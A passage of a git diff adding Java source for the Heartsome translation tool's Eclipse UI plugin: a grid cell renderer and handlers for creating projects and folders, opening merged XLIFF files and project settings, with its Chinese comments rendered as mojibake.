col = gridTable.getColumn(focusColIndex); + GridCellRenderer gcr = col.getCellRenderer(); + int colIndex = gcr.getColumn(); + if (gcr == null || !(gcr instanceof XGridCellRenderer) || !copyAbleColumnIndexs.contains(colIndex)) { + return; + } + XGridCellRenderer cellRender = (XGridCellRenderer) gcr; + + Rectangle cellBounds = focusItem.getBounds(colIndex); + GC gc = new GC(Display.getDefault()); + TextLayout layout = null; + try { + layout = cellRender.getTextLayout(gc, focusItem, colIndex, true, false); + if (layout == null) { + gc.dispose(); + return; + } + Point point = layout.getLocation(caretOffset, false); + coordinateOffsetX = cellBounds.x + cellRender.leftMargin; + coordinateOffsetY = cellBounds.y + cellRender.topMargin + cellRender.textTopMargin; + defaultCaret.setLocation(point.x + coordinateOffsetX, point.y + coordinateOffsetY); + } finally { + if (layout != null) { + layout.dispose(); + } + if (gc != null) { + gc.dispose(); + } + } + } +} diff --git a/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/grid/XGridCellRenderer.java b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/grid/XGridCellRenderer.java new file mode 100644 index 0000000..71edfee --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/grid/XGridCellRenderer.java @@ -0,0 +1,163 @@ +package net.heartsome.cat.ts.ui.grid; + +import static net.heartsome.cat.ts.ui.Constants.SEGMENT_LINE_SPACING; + +import java.util.List; + +import net.heartsome.cat.common.innertag.InnerTagBean; +import net.heartsome.cat.common.innertag.factory.PlaceHolderEditModeBuilder; +import net.heartsome.cat.common.innertag.factory.XliffInnerTagFactory; +import net.heartsome.cat.common.ui.innertag.InnerTagRender; +import net.heartsome.cat.common.ui.utils.InnerTagUtil; +import net.heartsome.cat.ts.ui.Constants; + +import org.eclipse.jface.resource.JFaceResources; +import org.eclipse.nebula.widgets.grid.GridCellRenderer; +import org.eclipse.nebula.widgets.grid.GridItem; +import org.eclipse.swt.SWT; +import org.eclipse.swt.graphics.Font; +import org.eclipse.swt.graphics.GC; +import org.eclipse.swt.graphics.GlyphMetrics; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.graphics.Rectangle; +import org.eclipse.swt.graphics.TextLayout; +import org.eclipse.swt.graphics.TextStyle; + +/** + * å¯ä»¥è®¾ç½®å•å…ƒæ ¼åž‚直对é½æ–¹å¼çš„ç±» + * @author peason + * @version + * @since JDK1.6 + */ +public abstract class XGridCellRenderer extends GridCellRenderer { + + protected int leftMargin = 4; + + protected int rightMargin = 4; + + protected int topMargin = 0; + + protected int bottomMargin = 0; + + protected int textTopMargin = 1; + + protected int textBottomMargin = 2; + + protected Font font; + + /** 垂直对é½æ–¹å¼ 默认居上 */ + private int verticalAlignment = SWT.TOP; + + protected PlaceHolderEditModeBuilder placeHolderBuilder = new PlaceHolderEditModeBuilder(); + + protected XliffInnerTagFactory innerTagFactory = new XliffInnerTagFactory(placeHolderBuilder); + + protected InnerTagRender tagRender = new InnerTagRender(); + protected GridCopyEnable copyEnable; + + public TextLayout getTextLayout(GC gc, GridItem item, int columnIndex, boolean innerTagStyled, boolean drawInnerTag) { + TextLayout layout = new TextLayout(gc.getDevice()); + layout.setFont(JFaceResources.getFont(net.heartsome.cat.ts.ui.Constants.MATCH_VIEWER_TEXT_FONT)); + innerTagFactory.reset(); + + String displayStr = ""; + try{ + displayStr = InnerTagUtil.resolveTag(innerTagFactory.parseInnerTag(item.getText(columnIndex))); + }catch (NullPointerException e) { + return null; + } + layout.setText(displayStr); + int width = getBounds().width - leftMargin - rightMargin; + layout.setWidth(width < 1 ? 1 : width); + layout.setSpacing(Constants.SEGMENT_LINE_SPACING); + layout.setAlignment(SWT.LEFT); + + if (displayStr.length() != 0 && innerTagStyled) { + attachInnertTagStyle(gc, layout, drawInnerTag); + } + return layout; + } + + protected void attachInnertTagStyle(GC gc, TextLayout layout, boolean drawInnerTag) { + String displayStr = layout.getText(); + List innerTagBeans = innerTagFactory.getInnerTagBeans(); + Rectangle bounds = getBounds(); + for (InnerTagBean innerTagBean : innerTagBeans) { + String placeHolder = placeHolderBuilder.getPlaceHolder(innerTagBeans, innerTagBeans.indexOf(innerTagBean)); + int start = displayStr.indexOf(placeHolder); + if (start == -1) { + continue; + } + TextStyle style = new TextStyle(); + Point rect = tagRender.calculateTagSize(innerTagBean); + style.metrics = new GlyphMetrics(rect.y , 0 , rect.x + SEGMENT_LINE_SPACING * 2); + layout.setStyle(style, start, start + placeHolder.length() - 1); + + if (drawInnerTag && gc != null) { + Point p = layout.getLocation(start, false); + int x = bounds.x + p.x + leftMargin; + x += SEGMENT_LINE_SPACING; + + Point tagSize = tagRender.calculateTagSize(innerTagBean); + int lineIdx = layout.getLineIndex(start); + Rectangle r = layout.getLineBounds(lineIdx); + int y = bounds.y + p.y + topMargin + r.height / 2 - tagSize.y /2; + tagRender.draw(gc, innerTagBean, x, y - layout.getAscent()); + } + } + } + + /** + * 计算å•å…ƒæ ¼çš„剩余空间 + * @param textHeight + * @param cellHeight + * @return ; + */ + public int getVerticalAlignmentAdjustment(int textHeight, int cellHeight) { + if (getVerticalAlignment() == SWT.BOTTOM) { + if (textHeight < cellHeight) { + return cellHeight - textHeight; + } + } else if (getVerticalAlignment() == SWT.CENTER) { + if (textHeight < cellHeight) { + return (cellHeight - textHeight) / 2; + } + } + return 0; + } + + /** + * @param copyEnable + * the copyEnable to set + */ + public void setCopyEnable(GridCopyEnable copyEnable) { + this.copyEnable = copyEnable; + copyEnable.addCopyAbleColumn(getColumn()); + } + + /** + * 获得垂直对é½æ–¹å¼ + * @return ; + */ + public int getVerticalAlignment() { + return verticalAlignment; + } + + /** + * 设置垂直对é½æ–¹å¼ + * @param verticalAlignment + * ; + */ + public void setVerticalAlignment(int verticalAlignment) { + this.verticalAlignment = verticalAlignment; + } + + /** + * 设置字体 + * @param font + * ; + */ + public void setFont(Font font) { + this.font = font; + } +} diff --git a/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/handlers/ChangeXliffEditorModelHandler.java b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/handlers/ChangeXliffEditorModelHandler.java new file mode 100644 index 0000000..2122c05 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/handlers/ChangeXliffEditorModelHandler.java @@ -0,0 +1,49 @@ +/** + * ChangeXliffEditorModelHandler.java + * + * Version information : + * + * Date:Jan 27, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.ts.ui.handlers; + +import net.heartsome.cat.ts.ui.editors.IHSEditor; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.ui.IEditorPart; +import org.eclipse.ui.IWorkbenchPage; +import org.eclipse.ui.PlatformUI; + +/** + * Our sample handler extends AbstractHandler, an IHandler base class. + * @see org.eclipse.core.commands.IHandler + * @see org.eclipse.core.commands.AbstractHandler + */ +public class ChangeXliffEditorModelHandler extends AbstractHandler { + /** + * The constructor. + */ + public ChangeXliffEditorModelHandler() { + } + + /** + * the command has been executed, so extract extract the needed information from the application context. + */ + public Object execute(ExecutionEvent event) throws ExecutionException { + IWorkbenchPage workbenchPage = PlatformUI.getWorkbench().getActiveWorkbenchWindow().getActivePage(); + IEditorPart editor = workbenchPage.getActiveEditor(); + if (editor == null) { + return null; + } + if (editor instanceof IHSEditor) { + IHSEditor xliffEditor = (IHSEditor) editor; + xliffEditor.changeModel(); + } + return null; + } + +} diff --git a/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/handlers/NewFolderHandler.java b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/handlers/NewFolderHandler.java new file mode 100644 index 0000000..fe91732 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/handlers/NewFolderHandler.java @@ -0,0 +1,76 @@ +package net.heartsome.cat.ts.ui.handlers; + +import java.util.List; + +import net.heartsome.cat.ts.ui.resource.Messages; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.core.resources.IContainer; +import org.eclipse.core.resources.IFile; +import org.eclipse.core.resources.IFolder; +import org.eclipse.core.resources.IProject; +import org.eclipse.core.resources.ResourcesPlugin; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.viewers.IStructuredSelection; +import org.eclipse.jface.viewers.StructuredSelection; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.ui.IViewPart; +import org.eclipse.ui.IWorkbenchPage; +import org.eclipse.ui.PlatformUI; +import org.eclipse.ui.dialogs.NewFolderDialog; +import org.eclipse.ui.handlers.HandlerUtil; + +/** + * 新建文件夹 + * @author peason + * @version + * @since JDK1.6 + */ +public class NewFolderHandler extends AbstractHandler { + + public Object execute(ExecutionEvent event) throws ExecutionException { + Shell shell = HandlerUtil.getActiveShell(event); + String partId = HandlerUtil.getActivePartId(event); + if (partId.equals("net.heartsome.cat.common.ui.navigator.view")) { + // å¯¼èˆªè§†å›¾å¤„äºŽæ¿€æ´»çŠ¶æ€ + IWorkbenchPage page = PlatformUI.getWorkbench().getActiveWorkbenchWindow().getActivePage(); + IViewPart viewPart = page.findView("net.heartsome.cat.common.ui.navigator.view"); + StructuredSelection selection = (StructuredSelection) viewPart.getSite().getSelectionProvider() + .getSelection(); + if (selection != null && !selection.isEmpty() && selection instanceof IStructuredSelection) { + List lstObj = ((IStructuredSelection) selection).toList(); + if (lstObj == null || lstObj.size() != 1) { + MessageDialog.openInformation(shell, Messages.getString("handlers.NewFolderHandler.msgTitle"), + Messages.getString("handlers.NewFolderHandler.msg1")); + return null; + } + IContainer container = null; + for (Object obj : lstObj) { + if (obj instanceof IFile) { + IFile file = (IFile) obj; + container = file.getParent(); + } else if (obj instanceof IFolder) { + container = (IFolder) obj; + } else if (obj instanceof IProject) { + container = (IProject) obj; + } + } + ResourcesPlugin.getPlugin().getPluginPreferences().setValue(ResourcesPlugin.PREF_DISABLE_LINKING, true); + NewFolderDialog dialog = new NewFolderDialog(shell, container); + dialog.open(); + } else { + MessageDialog.openInformation(shell, Messages.getString("handlers.NewFolderHandler.msgTitle"), + Messages.getString("handlers.NewFolderHandler.msg2")); + return null; + } + } else { + MessageDialog.openInformation(shell, Messages.getString("handlers.NewFolderHandler.msgTitle"), + Messages.getString("handlers.NewFolderHandler.msg2")); + return null; + } + return null; + } + +} diff --git a/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/handlers/NewHandler.java b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/handlers/NewHandler.java new file mode 100644 index 0000000..2d8fbfc --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/handlers/NewHandler.java @@ -0,0 +1,63 @@ +package net.heartsome.cat.ts.ui.handlers; + +import java.util.Collections; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.Command; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.core.commands.NotEnabledException; +import org.eclipse.core.commands.NotHandledException; +import org.eclipse.core.commands.common.NotDefinedException; +import org.eclipse.core.expressions.IEvaluationContext; +import org.eclipse.ui.commands.ICommandService; +import org.eclipse.ui.handlers.HandlerUtil; +import org.eclipse.ui.services.IEvaluationService; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * 工具æ æ–°å»ºèœå•çš„ Handler + * @author peason + * @version + * @since JDK1.6 + */ +public class NewHandler extends AbstractHandler { + + private static final Logger LOGGER = LoggerFactory.getLogger(NewHandler.class); + + public Object execute(ExecutionEvent event) throws ExecutionException { + String parameter = event.getParameter("wizardParameter"); + Command command = null; + ICommandService commandService = (ICommandService) HandlerUtil.getActiveSite(event).getService( + ICommandService.class); + if (parameter == null || parameter.equalsIgnoreCase("project")) { + command = commandService.getCommand("net.heartsome.cat.ts.ui.command.newProject"); + } else if (parameter.equalsIgnoreCase("folder")) { + command = commandService.getCommand("net.heartsome.cat.ts.ui.command.newFolder"); + } else if (parameter.equalsIgnoreCase("tm")) { + command = commandService.getCommand("net.heartsome.cat.database.ui.tm.command.newTM"); + } else if (parameter.equalsIgnoreCase("tb")) { + command = commandService.getCommand("net.heartsome.cat.database.ui.tb.command.newTB"); + } + if (command == null) { + return null; + } + IEvaluationService evalService = (IEvaluationService) HandlerUtil.getActiveSite(event).getService( + IEvaluationService.class); + IEvaluationContext currentState = evalService.getCurrentState(); + ExecutionEvent executionEvent = new ExecutionEvent(command, Collections.EMPTY_MAP, this, currentState); + try { + command.executeWithChecks(executionEvent); + } catch (NotDefinedException e) { + LOGGER.error("", e); + } catch (NotEnabledException e) { + LOGGER.error("", e); + } catch (NotHandledException e) { + LOGGER.error("", e); + } + + return null; + } + +} diff --git a/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/handlers/NewProjectHandler.java b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/handlers/NewProjectHandler.java new file mode 100644 index 0000000..d377e8d --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/handlers/NewProjectHandler.java @@ -0,0 +1,123 @@ +package net.heartsome.cat.ts.ui.handlers; + +import java.text.MessageFormat; + +import net.heartsome.cat.common.ui.wizard.TSWizardDialog; +import net.heartsome.cat.common.util.CommonFunction; +import net.heartsome.cat.ts.ui.extensionpoint.AbstractNewProjectWizardPage; +import net.heartsome.cat.ts.ui.resource.Messages; +import net.heartsome.cat.ts.ui.wizards.NewProjectWizard; +import net.heartsome.cat.ts.ui.wizards.NewProjectWizardDialog; +import net.heartsome.cat.ts.ui.wizards.NewProjectWizardLanguagePage; +import net.heartsome.cat.ts.ui.wizards.NewProjectWizardProjInfoPage; +import net.heartsome.cat.ts.ui.wizards.NewProjectWizardSourceFilePage; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.jface.dialogs.IDialogConstants; +import org.eclipse.jface.resource.JFaceResources; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.DisposeEvent; +import org.eclipse.swt.events.DisposeListener; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.graphics.Cursor; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.ToolBar; +import org.eclipse.swt.widgets.ToolItem; +import org.eclipse.ui.IWorkbenchWindow; +import org.eclipse.ui.PlatformUI; +import org.eclipse.ui.handlers.HandlerUtil; +import org.slf4j.LoggerFactory; + +/** + * 新建项目的 Handler + * @author peason + * @version + * @since JDK1.6 + */ +public class NewProjectHandler extends AbstractHandler { + + public Object execute(ExecutionEvent event) throws ExecutionException { + String tshelp = System.getProperties().getProperty("TSHelp"); + String tsstate = System.getProperties().getProperty("TSState"); + if (tshelp == null || !"true".equals(tshelp) || tsstate == null || !"true".equals(tsstate)) { + LoggerFactory.getLogger(NewProjectHandler.class).error("Exception:key hs008 is lost.(Can't find the key)"); + System.exit(0); + } + IWorkbenchWindow window = HandlerUtil.getActiveWorkbenchWindow(event); + NewProjectWizard wizard = new NewProjectWizard(); + TSWizardDialog dialog = new NewProjectWizardDialog(window.getShell(), wizard){ + + @Override + protected void createButtonsForButtonBar(Composite parent) { + super.createButtonsForButtonBar(parent); + getButton(IDialogConstants.FINISH_ID).setText(Messages.getString("handlers.NewProjectHandler.finishLbl")); + } + + // robert help 2012-09-06 + @Override + protected Control createHelpControl(Composite parent) { + Image helpImage = JFaceResources.getImage(DLG_IMG_HELP); + ToolBar toolBar = new ToolBar(parent, SWT.FLAT | SWT.NO_FOCUS); + ((GridLayout) parent.getLayout()).numColumns++; + toolBar.setLayoutData(new GridData(GridData.HORIZONTAL_ALIGN_CENTER)); + final Cursor cursor = new Cursor(parent.getDisplay(), SWT.CURSOR_HAND); + toolBar.setCursor(cursor); + toolBar.addDisposeListener(new DisposeListener() { + public void widgetDisposed(DisposeEvent e) { + cursor.dispose(); + } + }); + ToolItem helpItem = new ToolItem(toolBar, SWT.NONE); + helpItem.setImage(helpImage); + helpItem.setToolTipText(JFaceResources.getString("helpToolTip")); //$NON-NLS-1$ + helpItem.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent e) { + String language = CommonFunction.getSystemLanguage(); + String helpUrl = ""; + + if (getCurrentPage() instanceof NewProjectWizardProjInfoPage) { + // ROBERTHELP 新建项目ï¼é¡¹ç›®ä¿¡æ¯ + helpUrl = MessageFormat.format( + "/net.heartsome.cat.ts.ui.help/html/{0}/ch05s02.html#create-project-wizard-project-info", language); + PlatformUI.getWorkbench().getHelpSystem().displayHelpResource(helpUrl); + }else if (getCurrentPage() instanceof NewProjectWizardLanguagePage) { + // ROBERTHELP 新建项目ï¼è¯­è¨€ä¿¡æ¯ + helpUrl = MessageFormat.format( + "/net.heartsome.cat.ts.ui.help/html/{0}/ch05s02.html#create-project-wizard-languages", language); + PlatformUI.getWorkbench().getHelpSystem().displayHelpResource(helpUrl); + }else if (getCurrentPage() instanceof AbstractNewProjectWizardPage) { + if ("TM".equals(((AbstractNewProjectWizardPage)getCurrentPage()).getPageType())) { + // ROBERTHELP 新建项目ï¼è®°å¿†åº“ + helpUrl = MessageFormat.format( + "/net.heartsome.cat.ts.ui.help/html/{0}/ch05s02.html#create-project-wizard-tm", language); + PlatformUI.getWorkbench().getHelpSystem().displayHelpResource(helpUrl); + }else { + // ROBERTHELP 新建项目ï¼æœ¯è¯­åº“ + helpUrl = MessageFormat.format( + "/net.heartsome.cat.ts.ui.help/html/{0}/ch05s02.html#create-project-wizard-tb", language); + PlatformUI.getWorkbench().getHelpSystem().displayHelpResource(helpUrl); + } + }else if (getCurrentPage() instanceof NewProjectWizardSourceFilePage) { + // ROBERTHELP 新建项目ï¼æºæ–‡ä»¶ + helpUrl = MessageFormat.format( + "/net.heartsome.cat.ts.ui.help/html/{0}/ch05s02.html#create-project-wizard-source-file", language); + PlatformUI.getWorkbench().getHelpSystem().displayHelpResource(helpUrl); + } + } + }); + return toolBar; + } + }; + dialog.setHelpAvailable(true); + dialog.open(); + return null; + } + +} diff --git a/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/handlers/OpenMultiXliffHandler.java b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/handlers/OpenMultiXliffHandler.java new file mode 100644 index 0000000..766425e --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/handlers/OpenMultiXliffHandler.java @@ -0,0 +1,255 @@ +package net.heartsome.cat.ts.ui.handlers; + +import java.lang.reflect.InvocationTargetException; +import java.text.MessageFormat; +import java.util.ArrayList; +import java.util.Iterator; +import java.util.Map; +import java.util.Map.Entry; + +import net.heartsome.cat.common.core.Constant; +import net.heartsome.cat.common.file.XLFValidator; +import net.heartsome.cat.common.resources.ResourceUtils; +import net.heartsome.cat.common.util.CommonFunction; +import net.heartsome.cat.ts.core.file.XLFHandler; +import net.heartsome.cat.ts.core.qa.QAConstant; +import net.heartsome.cat.ts.ui.resource.Messages; +import net.heartsome.cat.ts.ui.util.MultiFilesOper; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.core.resources.IContainer; +import org.eclipse.core.resources.IFile; +import org.eclipse.core.resources.IProject; +import org.eclipse.core.runtime.CoreException; +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.SubProgressMonitor; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.dialogs.ProgressMonitorDialog; +import org.eclipse.jface.operation.IRunnableWithProgress; +import org.eclipse.jface.viewers.ISelection; +import org.eclipse.jface.viewers.IStructuredSelection; +import org.eclipse.jface.viewers.StructuredSelection; +import org.eclipse.swt.widgets.Display; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.ui.IViewPart; +import org.eclipse.ui.IWorkbenchWindow; +import org.eclipse.ui.PartInitException; +import org.eclipse.ui.PlatformUI; +import org.eclipse.ui.handlers.HandlerUtil; +import org.eclipse.ui.part.FileEditorInput; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * åˆå¹¶æ‰“开所选中的 XLIFF 文件 备注:所打开的文件ä¸èƒ½è·¨é¡¹ç›® + * @author robert 2012-03-26 + * @version + * @since JDK1.6 + */ +public class OpenMultiXliffHandler extends AbstractHandler { + private Shell shell; + private static final String XLIFF_EDITOR_ID = "net.heartsome.cat.ts.ui.xliffeditor.nattable.editor"; + public final static Logger logger = LoggerFactory.getLogger(OpenMultiXliffHandler.class.getName()); + + @SuppressWarnings("unchecked") + public Object execute(ExecutionEvent event) throws ExecutionException { + IViewPart viewPart = PlatformUI.getWorkbench().getActiveWorkbenchWindow().getActivePage() + .findView("net.heartsome.cat.common.ui.navigator.view"); + ISelection currentSelection = (StructuredSelection) viewPart.getSite().getSelectionProvider().getSelection(); + + if (currentSelection.isEmpty() || !(currentSelection instanceof IStructuredSelection)) { + return null; + } + IStructuredSelection structuredSelection = (IStructuredSelection) currentSelection; + Iterator selectIt = structuredSelection.iterator(); + final ArrayList selectIFiles = new ArrayList(); + + IWorkbenchWindow window = HandlerUtil.getActiveWorkbenchWindowChecked(event); + shell = window.getShell(); + + // 先验è¯æ˜¯å¦è·¨é¡¹ç›® + IProject selectedProject = null; + while (selectIt.hasNext()) { + Object object = selectIt.next(); + if (object instanceof IFile) { + IFile iFile = (IFile) object; + if (!CommonFunction.validXlfExtension(iFile.getFileExtension())) { + MessageDialog.openInformation(shell, Messages.getString("handlers.OpenMultiXliffHandler.msgTitle"), + MessageFormat.format(Messages.getString("handlers.OpenMultiXliffHandler.msg1"), iFile + .getFullPath().toOSString())); + continue; + } + selectIFiles.add(iFile); + if (selectedProject == null) { + selectedProject = iFile.getProject(); + } else { + if (selectedProject != iFile.getProject()) { + MessageDialog.openInformation(shell, + Messages.getString("handlers.OpenMultiXliffHandler.msgTitle"), + Messages.getString("handlers.OpenMultiXliffHandler.msg2")); + return null; + } + } + } else if (object instanceof IContainer) { + IContainer selectContainer = (IContainer) object; + if (selectedProject == null) { + selectedProject = selectContainer.getProject(); + } + // 判断当å‰æ–‡ä»¶å¤¹æ˜¯å¦å¤„于 XLIFF 文件夹下 + try { + ResourceUtils.getXliffs(selectContainer, selectIFiles); + } catch (CoreException e) { + logger.error(Messages.getString("handlers.OpenMultiXliffHandler.logger1"), selectContainer + .getFullPath().toOSString(), e); + } + } + } + + // 过滤é‡å¤é€‰æ‹©æ–‡ä»¶ + CommonFunction.removeRepeateSelect(selectIFiles); + + if (selectIFiles.size() < 2) { + MessageDialog.openInformation(shell, Messages.getString("handlers.OpenMultiXliffHandler.msgTitle"), + Messages.getString("handlers.OpenMultiXliffHandler.msg3")); + return null; + } + + MultiFilesOper oper = new MultiFilesOper(selectedProject, selectIFiles); + // 先验è¯è¿™äº›æ–‡ä»¶æ˜¯å¦å·²ç»åˆå¹¶æ‰“开,如果是,则退出 + if (oper.validExist()) { + return null; + } + // 判断是å¦æœ‰é‡å¤æ‰“开的文件,并删除缓存中è¦åˆå¹¶æ‰“开的文件。 + if (oper.hasOpenedIFile()) { + if (oper.getSelectIFiles().size() <= 0) { + MessageDialog.openInformation(shell, Messages.getString("handlers.OpenMultiXliffHandler.msgTitle"), + Messages.getString("handlers.OpenMultiXliffHandler.msg4")); + return null; + } else { + boolean isResponse = MessageDialog.openConfirm(shell, + Messages.getString("handlers.OpenMultiXliffHandler.msgTitle2"), + Messages.getString("handlers.OpenMultiXliffHandler.msg5")); + if (isResponse) { + if (oper.getSelectIFiles().size() < 2) { + MessageDialog.openInformation(shell, + Messages.getString("handlers.OpenMultiXliffHandler.msgTitle"), + Messages.getString("handlers.OpenMultiXliffHandler.msg6")); + return null; + } + } else { + return null; + } + } + } + + final IFile multiIFile = oper.createMultiTempFile(); + if (multiIFile != null && multiIFile.exists()) { + IRunnableWithProgress runnable = new IRunnableWithProgress() { + public void run(IProgressMonitor monitor) throws InvocationTargetException, InterruptedException { + monitor.beginTask(Messages.getString("handler.OpenMultiXliffHandler.tip1"), 10); + IProgressMonitor subMonitor = new SubProgressMonitor(monitor, 7, + SubProgressMonitor.PREPEND_MAIN_LABEL_TO_SUBTASK); + + // 进行判断所选择文件的语言对是å¦ç¬¦åˆæ ‡å‡†ï¼Œå…ˆè§£æžæ–‡ä»¶ + final XLFHandler xlfHander = new XLFHandler(); + final Map newResultMap = xlfHander.openFiles( + ResourceUtils.iFilesToFiles(selectIFiles), subMonitor); + // 针对解æžå¤±è´¥ + if (newResultMap == null + || QAConstant.RETURNVALUE_RESULT_SUCCESSFUL != (Integer) newResultMap + .get(QAConstant.RETURNVALUE_RESULT)) { + Display.getDefault().syncExec(new Runnable() { + public void run() { + MessageDialog.openInformation(shell, + Messages.getString("handlers.OpenMultiXliffHandler.msgTitle"), + (String) newResultMap.get(Constant.RETURNVALUE_MSG)); + } + }); + return; + } + // 验è¯æ˜¯å¦æœ‰å¤šä¸ªè¯­è¨€ + boolean hasDiffrentLangPair = false; + Map> langMap = xlfHander.getLanguages(); + if (langMap.size() > 1) { + hasDiffrentLangPair = true; + } else { + for (Entry> entry : langMap.entrySet()) { + if (entry.getValue().size() > 1) { + hasDiffrentLangPair = true; + } + } + } + if (monitor.isCanceled()) { + return; + } + monitor.worked(1); + if (hasDiffrentLangPair) { + Display.getDefault().syncExec(new Runnable() { + public void run() { + MessageDialog.openInformation(shell, + Messages.getString("handlers.OpenMultiXliffHandler.msgTitle"), + Messages.getString("handlers.OpenMultiXliffHandler.msg7")); + } + }); + // 先删除临时文件,å†é€€å‡º + try { + multiIFile.delete(true, monitor); + } catch (CoreException e) { + logger.error(Messages.getString("handlers.OpenMultiXliffHandler.logger2"), e); + } + return; + } + final boolean[] validateResult = new boolean[]{false}; + Display.getDefault().syncExec(new Runnable() { + public void run() { + validateResult[0] = XLFValidator.validateXlifIFiles(selectIFiles); + } + }); + if(!validateResult[0]){ + try { + multiIFile.delete(true, monitor); + } catch (CoreException e) { + logger.error(Messages.getString("handlers.OpenMultiXliffHandler.logger2"), e); + } + return; + } + final FileEditorInput input = new FileEditorInput(multiIFile); + if (monitor.isCanceled()) { + return; + } + monitor.worked(1); + + Display.getDefault().syncExec(new Runnable() { + public void run() { + try { + // UNDO 这里åˆå¹¶æ‰“开时,è¦è€ƒè™‘ä¼ å…¥å‚æ•°xlfHandler,以防多次解æžæ–‡ä»¶å¸¦æ¥çš„消耗。 + PlatformUI.getWorkbench().getActiveWorkbenchWindow().getActivePage() + .openEditor(input, XLIFF_EDITOR_ID, true); + + } catch (PartInitException e) { + e.printStackTrace(); + } + } + }); + if (monitor.isCanceled()) { + return; + } + monitor.worked(1); + monitor.done(); + } + }; + try { + new ProgressMonitorDialog(shell).run(true, true, runnable); + } catch (Exception e) { + logger.error(Messages.getString("handlers.OpenMultiXliffHandler.logger3"), e); + } + } else { + MessageDialog.openInformation(shell, Messages.getString("handlers.OpenMultiXliffHandler.msgTitle"), + Messages.getString("handlers.OpenMultiXliffHandler.msg8")); + return null; + } + return null; + } +} diff --git a/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/handlers/ProjectSettingHandler.java b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/handlers/ProjectSettingHandler.java new file mode 100644 index 0000000..1d04e86 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/handlers/ProjectSettingHandler.java @@ -0,0 +1,172 @@ +/** + * ProjectSettingHandler.java + * + * Version information : + * + * Date:Nov 28, 2011 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.ts.ui.handlers; + +import java.util.ArrayList; +import java.util.List; + +import net.heartsome.cat.common.bean.ProjectInfoBean; +import net.heartsome.cat.ts.core.file.ProjectConfiger; +import net.heartsome.cat.ts.core.file.ProjectConfigerFactory; +import net.heartsome.cat.ts.ui.extensionpoint.AbstractProjectSettingPage; +import net.heartsome.cat.ts.ui.projectsetting.ProjectSettingBaseInfoPage; +import net.heartsome.cat.ts.ui.projectsetting.ProjectSettingDialog; +import net.heartsome.cat.ts.ui.projectsetting.ProjectSettingLanguagePage; +import net.heartsome.cat.ts.ui.resource.Messages; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import 